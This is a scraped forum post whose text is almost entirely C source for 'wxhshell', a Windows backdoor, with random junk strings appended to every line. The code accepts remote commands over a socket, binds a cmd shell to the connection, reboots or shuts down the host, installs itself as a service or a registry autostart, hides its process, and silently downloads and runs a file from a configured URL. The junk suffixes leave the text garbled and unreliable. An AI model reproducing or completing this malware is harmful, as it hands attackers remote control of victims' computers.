J/&*OC  
    switch(cmd[0]) { <T2~xn  
  ([XyW{=h!  
  // 帮助 "62Ysapq+  
  case '?': { Go+,jT-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $v}8lBCr3  
    break; ThqfZl=V  
  } a!J ow?(  
  // 安装 L4A/7Ep  
  case 'i': { Bw/H'Y  
    if(Install()) /dvnQW4}8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &+r ;>  
    else `GN5QLg#}0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GHsdLe=t0#  
    break; !vo'8r?&  
    } [F-u'h< *l  
  // 卸载 >p#d;wK4_  
  case 'r': { U@t?jTMBkO  
    if(Uninstall()) VEYKrZA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tS/APSY  
    else SIBIh-L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BHBT=,sI  
    break; lo;9sTUHT  
    } .$s|T  
  // 显示 wxhshell 所在路径 nF y7gA|  
  case 'p': { xbH!:R;  
    char svExeFile[MAX_PATH]; $8ww]}K  
    strcpy(svExeFile,"\n\r"); A5H8+gATK  
      strcat(svExeFile,ExeFile); VS@W.0/  
        send(wsh,svExeFile,strlen(svExeFile),0); c68$pgG  
    break; q}24U3ow  
    } -bb7Y  
  // 重启 ^A$XXH '  
  case 'b': { J3}C T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m_ONsZHy  
    if(Boot(REBOOT)) @KRn3$U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O09g b[  
    else { `[u>NEb  
    closesocket(wsh); !";$Zu  
    ExitThread(0); 27i<6PAC[A  
    } n)7$xYuH  
    break; ]be2jQx3  
    } \c^jaK5  
  // 关机 O NzdCgY  
  case 'd': { kk./-G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X!HSS/'  
    if(Boot(SHUTDOWN)) ^>}[[:(6/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [67f;?b  
    else { hr"+0KeX  
    closesocket(wsh); ZjbG&oc  
    ExitThread(0); XlcDF|?{.  
    } Evgq}3  
    break; _I"<?sh 3  
    } <y/AEY1  
  // 获取shell T1W9@9,s  
  case 's': { vh.tk^&  
    CmdShell(wsh); "YU~QOGx@  
    closesocket(wsh); z{+; '9C  
    ExitThread(0); D7 '0o`|  
    break; Y`p&*O  
  } ] Lft^,7  
  // 退出 y/*Tvb #TJ  
  case 'x': { ED_5V@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /faP]J)  
    CloseIt(wsh); :v ~q  
    break; ~l(tl[  
    } B9Tztg  
  // 离开 BJ2W }R  
  case 'q': { oa|*-nw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); weadY,-H8  
    closesocket(wsh); _@?Jx/`;bk  
    WSACleanup(); 03\8e?$  
    exit(1); 90k|u'ikOp  
    break; rSCX$ @@F  
        } `%:(IGxz  
  } Yzx0[_'u  
  } 4T\/wyq0  
^u&Khc~ y  
  // 提示信息 WC;a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jmVy4* P_  
} 2G> ]W?>  
  } W%QtJB1)  
k(Xv&Zn  
  return; 4^9_E &Fa  
} yp'>+cLa  
eTHh  
// shell模块句柄 6u3(G j@  
int CmdShell(SOCKET sock) n 9M6wS  
{ VQ}3r)ch  
STARTUPINFO si; vK~KeZ\,p=  
ZeroMemory(&si,sizeof(si)); 4?uG> ;V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UwT$IKR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y\S^DJy  
PROCESS_INFORMATION ProcessInfo; _qNLy/AY  
char cmdline[]="cmd"; '0rwNEg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -{mq\GvGn  
  return 0; nit7|T@^  
} *dgN pJ 9  
|.W;vc<  
// 自身启动模式 l[{}ZKZ  
int StartFromService(void) bncFrzp#o  
{ ="E V@H?U  
typedef struct (ZsR=:9(  
{ 1<e%)? G  
  DWORD ExitStatus; >7Q7H#~w  
  DWORD PebBaseAddress; %*}f<k{6  
  DWORD AffinityMask; <7) 6*u  
  DWORD BasePriority; Lxrn#Z eM  
  ULONG UniqueProcessId; >?FCv7qN  
  ULONG InheritedFromUniqueProcessId; 8 z7,W3b  
}   PROCESS_BASIC_INFORMATION; P#oV ^  
{Oszq(A  
PROCNTQSIP NtQueryInformationProcess; >:|q J$J.  
Q(7l<z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _3>zi.J/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zjE4v-H:l  
cNv c pv  
  HANDLE             hProcess; ( "z;Q?(  
  PROCESS_BASIC_INFORMATION pbi; S3wH M  
qRLypm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6%1o<{(%f  
  if(NULL == hInst ) return 0; T+!kRigN~P  
?!-im*~w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X.|0E87  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $4,6&dwg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  #0H[RU?  
>Sah\u`  
  if (!NtQueryInformationProcess) return 0; 4+bsG6i  
essW,2,rjC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;Bi{;>3  
  if(!hProcess) return 0; ?Qk#;~\yB  
)CQ}LbXZy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Re\ T  
E v#aMK  
  CloseHandle(hProcess); . %7A7a  
LXl! !i%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yK3z3"1M?  
if(hProcess==NULL) return 0; EV$n>.  
"KwKO8f  
HMODULE hMod; NE"fyX`  
char procName[255]; 7C^ nk z  
unsigned long cbNeeded; OSk9Eb4ld  
h (2k;M^s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gp2)35  
{*Pp^ r  
  CloseHandle(hProcess); ![%,pip2/&  
KYN{iaj  
if(strstr(procName,"services")) return 1; // 以服务启动 }FVX5/.'  
g7i6Yj1  
  return 0; // 注册表启动 l0)uu4|  
} (7,Awf5D~  
wYG0*!Vj  
// 主模块 \>k+Oyj  
int StartWxhshell(LPSTR lpCmdLine) p7er04/}\  
{ BZ9iy~  
  SOCKET wsl; "dTXT  
BOOL val=TRUE; ~yN,FpD  
  int port=0; yjzNU5F  
  struct sockaddr_in door; dW68lVWq_  
]+P &Y:   
  if(wscfg.ws_autoins) Install(); W9"I++~f  
ak [)+_k_  
port=atoi(lpCmdLine); @( l`_Wx  
?f&I"\y  
if(port<=0) port=wscfg.ws_port; :~Y$\Ww(~  
R3A^VE;qP  
  WSADATA data; XT"c7]X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gy%e%'  
1O4"MeF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0 HmRl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q2Rj0E`  
  door.sin_family = AF_INET; lfP|+=^B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pkx>6(Y  
  door.sin_port = htons(port); vKf=t&gqr  
g=Di2j{A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -f=hL7NW  
closesocket(wsl); 2Fi*)\{  
return 1; ig{5 ]wZ(  
} pJ[Q.QxU  
J7xmf,76w  
  if(listen(wsl,2) == INVALID_SOCKET) { 1S.~-K*X  
closesocket(wsl); ':3KZ4/C  
return 1; FQ%mNowuj  
} 5FxU=M1gF  
  Wxhshell(wsl); HJmO+  
  WSACleanup(); [eRMlSXA  
Ay]5GA!W+  
return 0; "RLb wm~  
-w B AFr  
} o*_D  
5mU_S\)4:z  
// 以NT服务方式启动 ^>fs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "L]_NS T  
{ [@6iStRg7  
DWORD   status = 0; }^muAr  
  DWORD   specificError = 0xfffffff; z{\.3G  
Fm "$W^H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8*wI^*Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?}[keSEh>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VM[8w`  
  serviceStatus.dwWin32ExitCode     = 0; @d\F; o<  
  serviceStatus.dwServiceSpecificExitCode = 0; "|if<hx+  
  serviceStatus.dwCheckPoint       = 0; YVT^}7#  
  serviceStatus.dwWaitHint       = 0; DZue.or  
s><co]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AM>:At Y  
  if (hServiceStatusHandle==0) return; JFZ p^{  
P*>V6SK>b  
status = GetLastError(); ioggD  
  if (status!=NO_ERROR) c'b,=SM  
{ ~"k'T9QBY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y{KJk'xN5W  
    serviceStatus.dwCheckPoint       = 0; -MjRFa  
    serviceStatus.dwWaitHint       = 0; KVuv%?  
    serviceStatus.dwWin32ExitCode     = status; 0N xaQ`\  
    serviceStatus.dwServiceSpecificExitCode = specificError; w8qI7/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,v"A}g0"  
    return; :Lx]`dSk  
  } Zu,f&smb  
*D,T}N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZAE;$pkP  
  serviceStatus.dwCheckPoint       = 0; jkq+j^  
  serviceStatus.dwWaitHint       = 0; a;K:~R+@,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); isjkfl-!  
} )-(NL!?`  
_D~a4tgS  
// 处理NT服务事件,比如:启动、停止 k{~5pxd-t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y*Pr  
{ D)5wGp  
switch(fdwControl) VI?[8@*Z  
{ "q$M\jK#V  
case SERVICE_CONTROL_STOP:  X_lNnk  
  serviceStatus.dwWin32ExitCode = 0; nB.p}k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $IHa]9 {  
  serviceStatus.dwCheckPoint   = 0; {#vo^& B  
  serviceStatus.dwWaitHint     = 0; SZ_hGD0  
  { <\5{R@A*6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b{&@ Lm0Tn  
  } d1-QkW^0y  
  return; b}fH$.V@  
case SERVICE_CONTROL_PAUSE: +"!IVHY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DsoF4&>g[B  
  break; x-1[2K1"[  
case SERVICE_CONTROL_CONTINUE: <x/&Ml+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,f$ RE6  
  break; @:63OLlrG  
case SERVICE_CONTROL_INTERROGATE: |s:!LU&OL\  
  break;  Dg@6o  
}; du !.j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "jSn`  
} FB@G.f  
yZ`\.GgC^&  
// 标准应用程序主函数 (~jOtUyT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WI%,m~  
{ _/Hu'9432  
-a3C3!!  
// 获取操作系统版本 N$ ?qAek  
OsIsNt=GetOsVer(); YW*ti|u|w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C RNO4  
vQ;Z 0_  
  // 从命令行安装 %]-tA,u  
  if(strpbrk(lpCmdLine,"iI")) Install(); t?\osPL  
{S?.bT%&  
  // 下载执行文件 W+QI D/  
if(wscfg.ws_downexe) { DD1S]m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {0?76|  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,q4Y N-3  
} D3]_AS&\  
?IK[]=!  
if(!OsIsNt) { ||hd(_W8  
// 如果时win9x,隐藏进程并且设置为注册表启动 aePk^?KbB  
HideProc(); *`kh}  
StartWxhshell(lpCmdLine); k@?<Aw8 _X  
} :0J;^@   
else 5lT lZRH1  
  if(StartFromService()) PH6uP]  
  // 以服务方式启动 2'D2>^os  
  StartServiceCtrlDispatcher(DispatchTable); j9%=^ZoQj  
else {'/8{dS  
  // 普通方式启动 Hxjh P(  
  StartWxhshell(lpCmdLine); +U[A.^t  
`W5f'RU  
return 0; =vR>KE  
}
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只看该作者 1 发表于: 2006-10-10
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